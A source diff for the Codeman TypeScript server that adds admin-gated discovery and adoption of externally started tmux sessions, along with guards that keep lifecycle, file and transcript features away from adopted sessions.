* Provides mux session listing, killing, reconciliation, stats control, and
|
||||
* discovery of FOREIGN tmux sessions (ones a human started outside Codeman).
|
||||
*
|
||||
* Discovery lives here rather than beside the adopt endpoint on purpose: like
|
||||
* every other route in this file it exposes cross-user process state — other
|
||||
* people's session names, commands and working directories — so it inherits the
|
||||
* admin gate this file already applies. Adoption is a session CREATE and stays in
|
||||
* `session-routes.ts`, where the owner, capacity and case-space gates live.
|
||||
*/
|
||||
|
||||
import { FastifyInstance } from 'fastify';
|
||||
import type { InfraPort } from '../ports/index.js';
|
||||
import type { InfraPort, SessionPort } from '../ports/index.js';
|
||||
import { STATS_COLLECTION_INTERVAL_MS } from '../../config/server-timing.js';
|
||||
import { requireAdmin } from '../route-helpers.js';
|
||||
import { isMultiUserMode } from '../../config/multiuser.js';
|
||||
import { discoverForeignSessions, readAllDockerCases, readAllRemoteHosts } from '../../foreign-tmux-discovery.js';
|
||||
import { adoptTargetIdentity, foreignTargetKey } from '../../foreign-tmux.js';
|
||||
import { FOREIGN_POLL_INTERVAL_MS } from '../../config/foreign-tmux.js';
|
||||
|
||||
export function registerMuxRoutes(app: FastifyInstance, ctx: InfraPort): void {
|
||||
export function registerMuxRoutes(app: FastifyInstance, ctx: InfraPort & SessionPort): void {
|
||||
app.get('/api/mux-sessions', async (req, reply) => {
|
||||
// Multi-user: this recovery/debug surface exposes every user's tmux + workdirs → admin-only
|
||||
// (requireAdmin is a no-op allow-all in single-user mode, so flag-off is unchanged).
|
||||
@@ -36,6 +46,57 @@ export function registerMuxRoutes(app: FastifyInstance, ctx: InfraPort): void {
|
||||
return result;
|
||||
});
|
||||
|
||||
/**
|
||||
* Foreign tmux sessions available for adoption.
|
||||
*
|
||||
* LOCAL results are always included and are TTL-cached, because the home screen
|
||||
* polls this endpoint while it is open. DOCKER and REMOTE are opt-in per
|
||||
* request (`?docker=1`, `?remote=1`): each costs one `docker exec` or one ssh
|
||||
* per target, and having the home page fan those out on every load is the one
|
||||
* cost this design refuses to pay.
|
||||
*
|
||||
* `adoptedBy` is filled from the live sessions, so a target Codeman already wraps
|
||||
* renders as "open" rather than offering a second wrapper. Sessions and not mux
|
||||
* records: the tmux record only exists once the tab's first attach starts the pane.
|
||||
*/
|
||||
app.get('/api/mux/foreign', async (req, reply) => {
|
||||
if (isMultiUserMode() && !requireAdmin(req, reply)) return;
|
||||
const q = (req.query ?? {}) as Record<string, string | undefined>;
|
||||
const wantDocker = q.docker === '1' || q.docker === 'true';
|
||||
const wantRemote = q.remote === '1' || q.remote === 'true';
|
||||
|
||||
// Read the registries either way: `canScanWide` tells the browser whether the
|
||||
// expensive scan has anywhere to go. Without it the UI hides an empty block —
|
||||
// and with it the toggle that is the ONLY way to populate that block, which on
|
||||
// a host with containers but no local tmux sessions made the feature invisible.
|
||||
const dockerCases = await readAllDockerCases();
|
||||
const remoteHosts = await readAllRemoteHosts();
|
||||
|
||||
const result = await discoverForeignSessions({
|
||||
local: true,
|
||||
force: q.force === '1',
|
||||
dockerCases: wantDocker ? dockerCases : undefined,
|
||||
remoteHosts: wantRemote ? remoteHosts : undefined,
|
||||
});
|
||||
|
||||
// The same key the adopt route's one-wrapper check reads (see foreignTargetKey).
|
||||
const wrapped = new Map<string, string>();
|
||||
for (const session of ctx.sessions.values()) {
|
||||
if (session.adopt) wrapped.set(foreignTargetKey(adoptTargetIdentity(session.adopt)), session.id);
|
||||
}
|
||||
|
||||
return {
|
||||
sessions: result.sessions.map((f) => ({
|
||||
...f,
|
||||
adoptedBy: wrapped.get(foreignTargetKey(f)),
|
||||
})),
|
||||
scannedAt: result.scannedAt,
|
||||
notes: result.notes,
|
||||
pollIntervalMs: FOREIGN_POLL_INTERVAL_MS,
|
||||
canScanWide: dockerCases.length > 0 || remoteHosts.length > 0,
|
||||
};
|
||||
});
|
||||
|
||||
app.post('/api/mux-sessions/stats/start', async (req, reply) => {
|
||||
// Multi-user: process-wide stats collection toggle → admin-only.
|
||||
if (isMultiUserMode() && !requireAdmin(req, reply)) return;
|
||||
|
||||
@@ -37,6 +37,15 @@ import type { SessionPort, EventPort, RespawnPort, ConfigPort, InfraPort } from
|
||||
/** Cap on a remote `@fix_plan.md` read over ssh (a task list, not a document). */
|
||||
const MAX_REMOTE_FIX_PLAN_BYTES = 1024 * 1024;
|
||||
|
||||
/**
|
||||
* An adopted session's `workingDir` is the neutral wrapper folder `/tmp`, not a workspace.
|
||||
* Using it would write a predictable name into a folder anyone can write to, and read one
|
||||
* back, while the agent in the pane never sees either file.
|
||||
*/
|
||||
function refuseAdoptedRalphFile(file: string) {
|
||||
return createErrorResponse(ApiErrorCode.INVALID_INPUT, `${file} is not available for an adopted session`);
|
||||
}
|
||||
|
||||
export function registerRalphRoutes(
|
||||
app: FastifyInstance,
|
||||
ctx: SessionPort & EventPort & RespawnPort & ConfigPort & InfraPort
|
||||
@@ -60,6 +69,17 @@ export function registerRalphRoutes(
|
||||
};
|
||||
const session = findSessionOrFail(ctx, id, req);
|
||||
|
||||
// ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
|
||||
// session can be `mode: 'claude'` and still be a process we never launched.
|
||||
// Everything below drives the pane on the assumption Codeman owns what runs
|
||||
// in it — sending `/clear`, killing and relaunching the agent — which against
|
||||
// someone else's live session is destructive, not merely unsupported.
|
||||
if (session.isAdopted) {
|
||||
return createErrorResponse(
|
||||
ApiErrorCode.INVALID_INPUT,
|
||||
'The Ralph tracker is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
|
||||
);
|
||||
}
|
||||
// Ralph tracker is not supported for external-CLI sessions (opencode/codex)
|
||||
if (isExternalCliMode(session.mode)) {
|
||||
return createErrorResponse(
|
||||
@@ -197,6 +217,7 @@ export function registerRalphRoutes(
|
||||
app.post('/api/sessions/:id/fix-plan/write', async (req) => {
|
||||
const { id } = req.params as { id: string };
|
||||
const session = findSessionOrFail(ctx, id, req);
|
||||
if (session.isAdopted) return refuseAdoptedRalphFile('@fix_plan.md');
|
||||
// A remote session's workingDir is a path on the remote host. Writing it with local fs would land
|
||||
// the file in a same-named local folder (or fail), and remote writes are out of scope by design
|
||||
// (src/remote-files.ts is read-only), so it is refused, like the File Viewer's remote edit.
|
||||
@@ -233,6 +254,7 @@ export function registerRalphRoutes(
|
||||
app.post('/api/sessions/:id/fix-plan/read', async (req) => {
|
||||
const { id } = req.params as { id: string };
|
||||
const session = findSessionOrFail(ctx, id, req);
|
||||
if (session.isAdopted) return refuseAdoptedRalphFile('@fix_plan.md');
|
||||
|
||||
const workingDir = session.workingDir;
|
||||
if (!workingDir) {
|
||||
@@ -280,6 +302,7 @@ export function registerRalphRoutes(
|
||||
const { id } = req.params as { id: string };
|
||||
const { content } = parseBody(RalphPromptWriteSchema, req.body, 'Invalid request body');
|
||||
const session = findSessionOrFail(ctx, id, req);
|
||||
if (session.isAdopted) return refuseAdoptedRalphFile('@ralph_prompt.md');
|
||||
// Same rule as fix-plan/write: never write a remote session's file on the local disk.
|
||||
if (session.remote) {
|
||||
return createErrorResponse(
|
||||
|
||||
@@ -91,8 +91,9 @@ export function registerReadMyMindRoutes(app: FastifyInstance, ctx: SessionPort
|
||||
const transcriptPath = ctx.getTranscriptPath(id);
|
||||
const transcript = transcriptPath ? await readTranscriptSignals(transcriptPath) : null;
|
||||
// Remote-SSH cases skip git: workingDir is not local. Docker cases are
|
||||
// fine (the workspace is bind-mounted at the same host path).
|
||||
const workspace = session.remote ? null : await collectWorkspaceSignals(session.workingDir);
|
||||
// fine (the workspace is bind-mounted at the same host path). An adopted
|
||||
// session's workingDir is a neutral wrapper folder, so it skips git too.
|
||||
const workspace = session.remote || session.isAdopted ? null : await collectWorkspaceSignals(session.workingDir);
|
||||
|
||||
const lastPromptTs = profile.recentPrompts[profile.recentPrompts.length - 1]?.ts;
|
||||
const tracker = ctx.runSummaryTrackers.get(id);
|
||||
|
||||
@@ -98,6 +98,17 @@ export function registerRespawnRoutes(
|
||||
}
|
||||
const session = findSessionOrFail(ctx, id, req);
|
||||
|
||||
// ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
|
||||
// session can be `mode: 'claude'` and still be a process we never launched.
|
||||
// Everything below drives the pane on the assumption Codeman owns what runs
|
||||
// in it — sending `/clear`, killing and relaunching the agent — which against
|
||||
// someone else's live session is destructive, not merely unsupported.
|
||||
if (session.isAdopted) {
|
||||
return createErrorResponse(
|
||||
ApiErrorCode.INVALID_INPUT,
|
||||
'Respawn is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
|
||||
);
|
||||
}
|
||||
// Respawn is not supported for external-CLI sessions (opencode/codex)
|
||||
if (isExternalCliMode(session.mode)) {
|
||||
return createErrorResponse(ApiErrorCode.INVALID_INPUT, `Respawn is not supported for ${session.mode} sessions`);
|
||||
@@ -241,6 +252,17 @@ export function registerRespawnRoutes(
|
||||
return createErrorResponse(ApiErrorCode.SESSION_BUSY, 'Session is busy');
|
||||
}
|
||||
|
||||
// ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
|
||||
// session can be `mode: 'claude'` and still be a process we never launched.
|
||||
// Everything below drives the pane on the assumption Codeman owns what runs
|
||||
// in it — sending `/clear`, killing and relaunching the agent — which against
|
||||
// someone else's live session is destructive, not merely unsupported.
|
||||
if (session.isAdopted) {
|
||||
return createErrorResponse(
|
||||
ApiErrorCode.INVALID_INPUT,
|
||||
'Respawn is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
|
||||
);
|
||||
}
|
||||
// Respawn is not supported for external-CLI sessions (opencode/codex)
|
||||
if (isExternalCliMode(session.mode)) {
|
||||
return createErrorResponse(ApiErrorCode.INVALID_INPUT, `Respawn is not supported for ${session.mode} sessions`);
|
||||
@@ -310,6 +332,17 @@ export function registerRespawnRoutes(
|
||||
const body = reResult.data as { config?: Partial<RespawnConfig>; durationMinutes?: number };
|
||||
const session = findSessionOrFail(ctx, id, req);
|
||||
|
||||
// ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
|
||||
// session can be `mode: 'claude'` and still be a process we never launched.
|
||||
// Everything below drives the pane on the assumption Codeman owns what runs
|
||||
// in it — sending `/clear`, killing and relaunching the agent — which against
|
||||
// someone else's live session is destructive, not merely unsupported.
|
||||
if (session.isAdopted) {
|
||||
return createErrorResponse(
|
||||
ApiErrorCode.INVALID_INPUT,
|
||||
'Respawn is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
|
||||
);
|
||||
}
|
||||
// Respawn is not supported for external-CLI sessions (opencode/codex)
|
||||
if (isExternalCliMode(session.mode)) {
|
||||
return createErrorResponse(ApiErrorCode.INVALID_INPUT, `Respawn is not supported for ${session.mode} sessions`);
|
||||
|
||||
@@ -34,6 +34,17 @@ import {
|
||||
type OmpConfig,
|
||||
type RemoteHost,
|
||||
} from '../../types.js';
|
||||
import { AdoptForeignSessionSchema } from '../schemas.js';
|
||||
import {
|
||||
discoverForeignSessions,
|
||||
invalidateForeignCache,
|
||||
readAllDockerCases,
|
||||
readAllRemoteHosts,
|
||||
} from '../../foreign-tmux-discovery.js';
|
||||
import { adoptTargetIdentity, foreignTargetKey, foreignViewSessionName } from '../../foreign-tmux.js';
|
||||
import { requireAdmin } from '../route-helpers.js';
|
||||
import type { SessionAdopt } from '../../types/session.js';
|
||||
import type { ForeignTmuxSession } from '../../types/foreign-tmux.js';
|
||||
import {
|
||||
GuardedInputBusyError,
|
||||
Session,
|
||||
@@ -1490,6 +1501,187 @@ export function registerSessionRoutes(
|
||||
};
|
||||
});
|
||||
|
||||
// ========== Adopt a foreign tmux session ==========
|
||||
|
||||
/**
|
||||
* The wrapper pane for an adopted session runs `tmux attach`, never the agent,
|
||||
* so it needs no workspace, and must not borrow the foreign one. Same value
|
||||
* `resolveMuxAttachCwd()` gives remote and docker panes.
|
||||
*/
|
||||
const ADOPTED_WRAPPER_WORKING_DIR = '/tmp';
|
||||
|
||||
/**
|
||||
* Targets with a wrapper being created right now. The live-session check alone
|
||||
* leaves a gap: between it and `addSession` the route awaits the host registries,
|
||||
* the history config and the owner's layout lock, so two devices opening one row
|
||||
* could each pass it.
|
||||
*/
|
||||
const adoptsInFlight = new Set<string>();
|
||||
|
||||
/**
|
||||
* Wrap a tmux session a HUMAN started (local, in a container, or over ssh) in a
|
||||
* Codeman session, so it appears as a tab and can be driven from the browser.
|
||||
*
|
||||
* Four things make this safe, and each is load-bearing:
|
||||
*
|
||||
* 1. **The body carries only an opaque id.** The socket path, session name and
|
||||
* host are re-resolved by re-running discovery here. A browser therefore
|
||||
* never supplies a fragment of the command we are about to run, which is the
|
||||
* same rule that keeps docker-adopt and remote-attach injection-free.
|
||||
* 2. **The candidate must still exist.** Discovery is re-run rather than cached,
|
||||
* so a session that died between the listing and the click fails with a 404
|
||||
* instead of producing a wrapper attached to nothing.
|
||||
* 3. **One wrapper per target.** Two wrappers on one foreign session would each
|
||||
* create their own grouped view and each think they own the tab; the guard
|
||||
* is here rather than in the button's in-flight lock, which only stops a
|
||||
* double-click on one device.
|
||||
* 4. **Admin-only under multi-user.** Discovery already is (it exposes other
|
||||
* users' processes), and adopting someone's `shell` is arbitrary execution
|
||||
* as the server account, which is exactly what the `can-bypass-permissions`
|
||||
* grant gates elsewhere. The admin gate subsumes it, so there is deliberately
|
||||
* no second grant check here.
|
||||
*/
|
||||
app.post('/api/sessions/adopt', async (req, reply) => {
|
||||
if (isMultiUserMode() && !requireAdmin(req, reply)) return;
|
||||
|
||||
const owner = ownerFor(req);
|
||||
const body = parseBody(AdoptForeignSessionSchema, req.body, 'Invalid request body');
|
||||
|
||||
// Re-resolve rather than trust: point 1 and 2 above.
|
||||
const found = await discoverForeignSessions({
|
||||
local: true,
|
||||
force: true,
|
||||
dockerCases: body.docker ? await readAllDockerCases() : undefined,
|
||||
remoteHosts: body.remote ? await readAllRemoteHosts() : undefined,
|
||||
});
|
||||
const target = found.sessions.find((f) => f.id === body.id);
|
||||
if (!target) {
|
||||
// ⚠️ "Not in the re-resolve" has two very different causes and they must not
|
||||
// be reported as one. The session really being gone is the ordinary case;
|
||||
// the OTHER case is a location we could not reach this time, which on a
|
||||
// flaky link makes a perfectly live remote session read as deleted. Measured
|
||||
// against a real VM whose ssh path dropped ~10% of connections: clicking
|
||||
// Open failed with "no longer there" while the session was sitting right
|
||||
// there. Discovery already knows which it was: it wrote a note, so say so.
|
||||
const reach = found.notes.filter((n) => !/skipped/.test(n));
|
||||
return createErrorResponse(
|
||||
ApiErrorCode.NOT_FOUND,
|
||||
reach.length
|
||||
? `Could not reach it just now (${reach.join('; ')}). It may still be running, try again.`
|
||||
: 'That tmux session is no longer there. Refresh the list and try again.'
|
||||
);
|
||||
}
|
||||
|
||||
// Point 3: one wrapper per target. Live sessions and not mux records, which
|
||||
// only exist once the first attach starts the pane, so reading those let a
|
||||
// second adopt through before the first tab had started.
|
||||
const targetKey = foreignTargetKey(target);
|
||||
for (const session of ctx.sessions.values()) {
|
||||
if (session.adopt && foreignTargetKey(adoptTargetIdentity(session.adopt)) === targetKey) {
|
||||
return { session: ctx.getSessionStateWithRespawn(session), alreadyAdopted: true };
|
||||
}
|
||||
}
|
||||
if (adoptsInFlight.has(targetKey)) {
|
||||
return createErrorResponse(ApiErrorCode.SESSION_BUSY, 'That tmux session is already being opened');
|
||||
}
|
||||
|
||||
// After the reuse above, which creates nothing and so must not be refused at capacity.
|
||||
const capMsg = sessionCapacityMessage(ctx.sessions, owner);
|
||||
if (capMsg) return createErrorResponse(ApiErrorCode.SESSION_BUSY, capMsg);
|
||||
|
||||
adoptsInFlight.add(targetKey);
|
||||
try {
|
||||
return await createAdoptedSession(req, target, owner, body);
|
||||
} finally {
|
||||
adoptsInFlight.delete(targetKey);
|
||||
}
|
||||
});
|
||||
|
||||
/** Everything past the guards in `POST /api/sessions/adopt`, held under its in-flight mark. */
|
||||
async function createAdoptedSession(
|
||||
req: FastifyRequest,
|
||||
target: ForeignTmuxSession,
|
||||
owner: string | undefined,
|
||||
body: { name?: string; parentSessionId?: string }
|
||||
) {
|
||||
// Connection facts are copied onto the session rather than referenced by id:
|
||||
// a wrapper restored after a server restart must be able to rebuild its
|
||||
// command even if the host registry was edited in the meantime.
|
||||
const adopt: SessionAdopt = {
|
||||
location: target.location,
|
||||
socketPath: target.socketPath,
|
||||
targetSession: target.sessionName,
|
||||
viewSession: '',
|
||||
paneCurrentPath: target.workingDir,
|
||||
};
|
||||
|
||||
if (target.location === 'docker') {
|
||||
const hosts = await readDockerHosts(CODEMAN_CONFIG_DIR);
|
||||
const host = hosts.find((h) => h.id === target.hostId);
|
||||
if (!target.containerName) {
|
||||
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Container name missing for a docker candidate');
|
||||
}
|
||||
adopt.docker = {
|
||||
hostId: target.hostId ?? '',
|
||||
label: target.hostLabel ?? target.containerName,
|
||||
engine: host?.engine ?? 'docker',
|
||||
containerName: target.containerName,
|
||||
daemonHost: host?.daemonHost,
|
||||
context: host?.context,
|
||||
};
|
||||
} else if (target.location === 'remote') {
|
||||
const host = (await readRemoteHosts(CODEMAN_CONFIG_DIR)).find((h) => h.id === target.hostId);
|
||||
if (!host) return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Remote host not found');
|
||||
adopt.remote = {
|
||||
hostId: host.id,
|
||||
label: host.label,
|
||||
host: host.host,
|
||||
username: host.username,
|
||||
port: host.port,
|
||||
identityFile: host.identityFile,
|
||||
socksProxy: host.socksProxy,
|
||||
jumpHost: host.jumpHost,
|
||||
extraSshOptions: host.extraSshOptions,
|
||||
};
|
||||
}
|
||||
|
||||
const adoptHistoryConfig = await ctx.getTerminalHistoryConfig();
|
||||
|
||||
// ⚠️ The wrapper's `workingDir` is a NEUTRAL LOCAL path, never the foreign
|
||||
// pane's cwd. That cwd is an observation about another machine: it can carry
|
||||
// characters outside SAFE_PATH_PATTERN (`~/c++`, `Program Files (x86)`), which
|
||||
// makes `createSession` throw so the tab never starts at all, and when it is a
|
||||
// container or ssh path every local consumer of `workingDir` — the Files panel,
|
||||
// the boot hook sweep, the fs watchers — reads it as a path on THIS host. The
|
||||
// foreign cwd stays on `adopt.paneCurrentPath`, which is for display only.
|
||||
// `/tmp` is the same neutral cwd `resolveMuxAttachCwd` already gives the pane.
|
||||
const session = new Session({
|
||||
workingDir: ADOPTED_WRAPPER_WORKING_DIR,
|
||||
mode: target.mode,
|
||||
name: body.name || target.sessionName,
|
||||
mux: ctx.mux,
|
||||
useMux: true,
|
||||
tmuxHistoryLimit: adoptHistoryConfig.tmuxHistoryLimit,
|
||||
adopt,
|
||||
owner,
|
||||
parentSessionId: resolveParentSessionId(ctx, req, body.parentSessionId, owner),
|
||||
});
|
||||
// The view session name is derived from the Codeman session id, so it can only
|
||||
// be filled once the Session exists.
|
||||
adopt.viewSession = foreignViewSessionName(session.id);
|
||||
|
||||
await ctx.addSession(session);
|
||||
ctx.store.incrementSessionsCreated();
|
||||
ctx.persistSessionState(session);
|
||||
await ctx.setupSessionListeners(session);
|
||||
getLifecycleLog().log({ event: 'created', sessionId: session.id, name: session.name });
|
||||
invalidateForeignCache();
|
||||
|
||||
const lightState = ctx.getSessionStateWithRespawn(session);
|
||||
ctx.broadcast(SseEvent.SessionCreated, lightState);
|
||||
return { session: lightState, adopted: true };
|
||||
}
|
||||
|
||||
// ========== Rename Session ==========
|
||||
|
||||
app.put('/api/sessions/:id/name', async (req) => {
|
||||
@@ -1553,6 +1745,13 @@ export function registerSessionRoutes(
|
||||
'Custom model endpoints are not supported for remote (SSH) or Docker sessions yet'
|
||||
);
|
||||
}
|
||||
// Its own check: this restarts the CLI in the pane, and an adopted pane's CLI is not ours to restart.
|
||||
if (session.isAdopted) {
|
||||
return createErrorResponse(
|
||||
ApiErrorCode.INVALID_INPUT,
|
||||
'Custom model endpoints are not available for adopted sessions: Codeman did not start this agent'
|
||||
);
|
||||
}
|
||||
if (session.isBusy()) {
|
||||
return createErrorResponse(ApiErrorCode.SESSION_BUSY, 'Session is busy');
|
||||
}
|
||||
@@ -1912,6 +2111,10 @@ export function registerSessionRoutes(
|
||||
// and belongs in its own PR, not in a refactor that is meant to change nothing.
|
||||
if (
|
||||
!isExternalCliMode(session.mode) &&
|
||||
// ⚠️ And never for an adopted session, whose mode can be claude while the
|
||||
// agent in that pane belongs to someone else. Kept as its own clause for
|
||||
// the same reason the respawn and Ralph routes keep theirs separate.
|
||||
!session.isAdopted &&
|
||||
ctx.store.getConfig().ralphEnabled &&
|
||||
!session.ralphTracker.autoEnableDisabled
|
||||
) {
|
||||
@@ -2850,7 +3053,13 @@ export function registerSessionRoutes(
|
||||
* effort: the tab rename has already happened and must not fail on this.
|
||||
*/
|
||||
async function syncClaudeTitle(session: Session): Promise<void> {
|
||||
if (getCli(session.mode)?.capabilities.transcript !== 'claude-jsonl' || session.remote || session.docker) return;
|
||||
if (
|
||||
getCli(session.mode)?.capabilities.transcript !== 'claude-jsonl' ||
|
||||
session.remote ||
|
||||
session.docker ||
|
||||
session.isAdopted
|
||||
)
|
||||
return;
|
||||
try {
|
||||
const projectsDir = join(process.env.HOME || '/tmp', '.claude', 'projects');
|
||||
const hookPath = ctx.getTranscriptPath(session.id);
|
||||
@@ -2928,6 +3137,17 @@ export function registerSessionRoutes(
|
||||
// The body of GET /api/sessions/:id/last-response, so the Discord bridge reads the same transcript
|
||||
// the response viewer does (per-CLI reader, pane fallback) without a second copy of this logic.
|
||||
const lastResponseFor = async (session: Session, context?: string) => {
|
||||
// ⚠️ An adopted session has no transcript Codeman can name. Every reader below pairs one by
|
||||
// the id Codeman launched the CLI with or by the session's folder, and neither means anything
|
||||
// here: the CLI chose its own id, and the folder is the neutral `/tmp`, so the newest file for
|
||||
// that folder would be another conversation's answer shown as this one's. Nothing said yet is
|
||||
// the honest answer.
|
||||
if (session.isAdopted) {
|
||||
return context === 'full' || context === 'turn'
|
||||
? { text: '', timestamp: '', messages: [] }
|
||||
: { text: '', timestamp: '' };
|
||||
}
|
||||
|
||||
// Codex sessions don't write to ~/.claude/projects — their transcripts
|
||||
// live in ~/.codex/sessions/**. Branch to a Codex-specific reader so the
|
||||
// response-viewer works for Codex panes too.
|
||||
@@ -3658,6 +3878,16 @@ export function registerSessionRoutes(
|
||||
const { id } = req.params as { id: string };
|
||||
const body = parseBody(AutoClearSchema, req.body, 'Invalid request body');
|
||||
const session = findSessionOrFail(ctx, id, req);
|
||||
// ⚠️ Separate from the external-CLI gate on purpose: an adopted session's mode
|
||||
// can perfectly well BE claude, and this drives the pane of a session someone
|
||||
// else is using. Merging the two checks means a future change to the
|
||||
// external-CLI rule silently reopens this one.
|
||||
if (session.isAdopted) {
|
||||
return createErrorResponse(
|
||||
ApiErrorCode.INVALID_INPUT,
|
||||
'Auto-clear is not available for adopted sessions: Codeman did not start this agent and must not drive it'
|
||||
);
|
||||
}
|
||||
|
||||
session.setAutoClear(body.enabled, body.threshold);
|
||||
persistAndBroadcastSession(ctx, session);
|
||||
@@ -3679,6 +3909,16 @@ export function registerSessionRoutes(
|
||||
const { id } = req.params as { id: string };
|
||||
const body = parseBody(AutoCompactSchema, req.body, 'Invalid request body');
|
||||
const session = findSessionOrFail(ctx, id, req);
|
||||
// ⚠️ Separate from the external-CLI gate on purpose: an adopted session's mode
|
||||
// can perfectly well BE claude, and this drives the pane of a session someone
|
||||
// else is using. Merging the two checks means a future change to the
|
||||
// external-CLI rule silently reopens this one.
|
||||
if (session.isAdopted) {
|
||||
return createErrorResponse(
|
||||
ApiErrorCode.INVALID_INPUT,
|
||||
'Auto-compact is not available for adopted sessions: Codeman did not start this agent and must not drive it'
|
||||
);
|
||||
}
|
||||
|
||||
session.setAutoCompact(body.enabled, body.threshold, body.prompt);
|
||||
persistAndBroadcastSession(ctx, session);
|
||||
@@ -3741,8 +3981,11 @@ export function registerSessionRoutes(
|
||||
const { id } = req.params as { id: string };
|
||||
const body = parseBody(GitFetchSettingsSchema, req.body, 'Invalid request body');
|
||||
const session = findSessionOrFail(ctx, id, req);
|
||||
if (session.remote || session.docker) {
|
||||
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Git fetch does not run for remote or Docker sessions');
|
||||
if (session.remote || session.docker || session.isAdopted) {
|
||||
return createErrorResponse(
|
||||
ApiErrorCode.INVALID_INPUT,
|
||||
'Git fetch does not run for remote, Docker or adopted sessions'
|
||||
);
|
||||
}
|
||||
|
||||
const enabled = 'enabled' in body ? (body.enabled ?? undefined) : session.gitFetchEnabled;
|
||||
@@ -3768,6 +4011,16 @@ export function registerSessionRoutes(
|
||||
const { id } = req.params as { id: string };
|
||||
const body = parseBody(AutoResumeSchema, req.body, 'Invalid request body');
|
||||
const session = findSessionOrFail(ctx, id, req);
|
||||
// ⚠️ Separate from the external-CLI gate on purpose: an adopted session's mode
|
||||
// can perfectly well BE claude, and this drives the pane of a session someone
|
||||
// else is using. Merging the two checks means a future change to the
|
||||
// external-CLI rule silently reopens this one.
|
||||
if (session.isAdopted) {
|
||||
return createErrorResponse(
|
||||
ApiErrorCode.INVALID_INPUT,
|
||||
'Auto-resume is not available for adopted sessions: Codeman did not start this agent and must not drive it'
|
||||
);
|
||||
}
|
||||
|
||||
session.setAutoResume(body.enabled);
|
||||
persistAndBroadcastSession(ctx, session);
|
||||
@@ -3838,6 +4091,10 @@ export function registerSessionRoutes(
|
||||
if (body.enabled && session.remote) {
|
||||
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Image watching does not run for remote sessions');
|
||||
}
|
||||
// An adopted session's folder is the neutral wrapper folder, not the foreign pane's work.
|
||||
if (body.enabled && session.isAdopted) {
|
||||
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Image watching does not run for adopted sessions');
|
||||
}
|
||||
|
||||
if (body.enabled) {
|
||||
imageWatcher.watchSession(session.id, session.workingDir);
|
||||
@@ -5804,6 +6061,13 @@ export function registerSessionRoutes(
|
||||
'Prompt uploads are not supported for remote (SSH) sessions'
|
||||
);
|
||||
}
|
||||
// An adopted session has no workspace of ours: its folder is the neutral `/tmp`, shared with
|
||||
// whatever else runs there, and an agent in a container or on an ssh host could not read it.
|
||||
// The foreign pane's own folder is not ours to write into either.
|
||||
if (session.isAdopted) {
|
||||
reply.code(400);
|
||||
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Prompt uploads are not supported for adopted sessions');
|
||||
}
|
||||
|
||||
// The upload is written under session.workingDir (ensureUploadDir below), and
|
||||
// a live session's workspace can sit on a network mount that stopped answering.
|
||||
|
||||
@@ -1185,9 +1185,10 @@ export function registerSystemRoutes(
|
||||
// Handle image watcher toggle dynamically
|
||||
toggleService((merged.imageWatcherEnabled as boolean) ?? false, imageWatcher, 'Image watcher', () => {
|
||||
// Re-watch all active sessions that have image watcher enabled (never a remote session: its
|
||||
// workingDir is a path on the remote host, not on this disk)
|
||||
// workingDir is a path on the remote host, not on this disk; nor an adopted one, whose folder
|
||||
// is the neutral wrapper folder and not the foreign pane's work)
|
||||
for (const session of ctx.sessions.values()) {
|
||||
if (session.imageWatcherEnabled && !session.remote) {
|
||||
if (session.imageWatcherEnabled && !session.remote && !session.isAdopted) {
|
||||
imageWatcher.watchSession(session.id, session.workingDir);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2523,6 +2523,27 @@ export const CustomModelSelectionSchema = z.union([
|
||||
}),
|
||||
z.object({ clear: z.literal(true) }),
|
||||
]);
|
||||
/**
|
||||
* Adopt a FOREIGN tmux session (one a human started outside Codeman).
|
||||
*
|
||||
* ⚠️ The body carries ONLY the opaque candidate id from `GET /api/mux/foreign`.
|
||||
* The socket path, session name and host are re-resolved server-side by re-running
|
||||
* discovery, so a browser can never hand the launch chain a path or a session name
|
||||
* to interpolate. That is the same discipline that keeps the docker-adopt and
|
||||
* remote-attach paths free of caller-supplied command fragments.
|
||||
*/
|
||||
export const AdoptForeignSessionSchema = z
|
||||
.object({
|
||||
id: z.string().min(1).max(64),
|
||||
/** Optional tab name; defaults to the foreign session's own name. */
|
||||
name: z.string().max(128).optional(),
|
||||
/** Include docker locations in the re-resolve (must match the listing call). */
|
||||
docker: z.boolean().optional(),
|
||||
/** Include remote locations in the re-resolve. */
|
||||
remote: z.boolean().optional(),
|
||||
parentSessionId: z.string().max(64).optional(),
|
||||
})
|
||||
.strict();
|
||||
|
||||
/** Agent inspection bounds are bytes of evidence, independent of the JSON envelope. */
|
||||
export const AgentInspectQuerySchema = z
|
||||
|
||||
+27
-4
@@ -569,9 +569,10 @@ export class WebServer extends EventEmitter {
|
||||
agentExited: (id) => !!this.sessions.get(id)?.paneExit,
|
||||
awaitingChoice: (id) => approvalInbox.listPending().some((item) => item.sessionId === id && item.kind !== 'idle'),
|
||||
// Remote (ssh) sessions keep their folder on another host, so received files have nowhere local to go.
|
||||
// An adopted session's folder is the neutral wrapper folder, which its agent need not be able to read.
|
||||
sessionDir: (sessionId) => {
|
||||
const session = this.sessions.get(sessionId);
|
||||
return session && !session.remote ? session.workingDir : undefined;
|
||||
return session && !session.remote && !session.isAdopted ? session.workingDir : undefined;
|
||||
},
|
||||
});
|
||||
private teamWatcher: TeamWatcher = new TeamWatcher();
|
||||
@@ -2207,7 +2208,9 @@ export class WebServer extends EventEmitter {
|
||||
// fs.watch()es it on the LOCAL disk, so a remote session only records the path: the fix plan stays
|
||||
// authoritative as for a local session (keeping the output-based completion guessers off), and its
|
||||
// file is read over ssh only on an explicit import (fix-plan/read).
|
||||
if (!isExternalCliMode(session.mode)) {
|
||||
// ⚠️ An ADOPTED session is skipped outright: Ralph is refused for one anyway, and its
|
||||
// `workingDir` is the neutral wrapper folder, not the foreign pane's work.
|
||||
